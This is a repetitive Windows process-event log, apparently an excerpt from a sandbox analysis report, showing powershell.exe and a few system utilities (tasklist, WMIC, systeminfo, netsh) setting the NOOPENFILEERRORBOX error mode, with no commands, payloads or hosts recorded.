Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
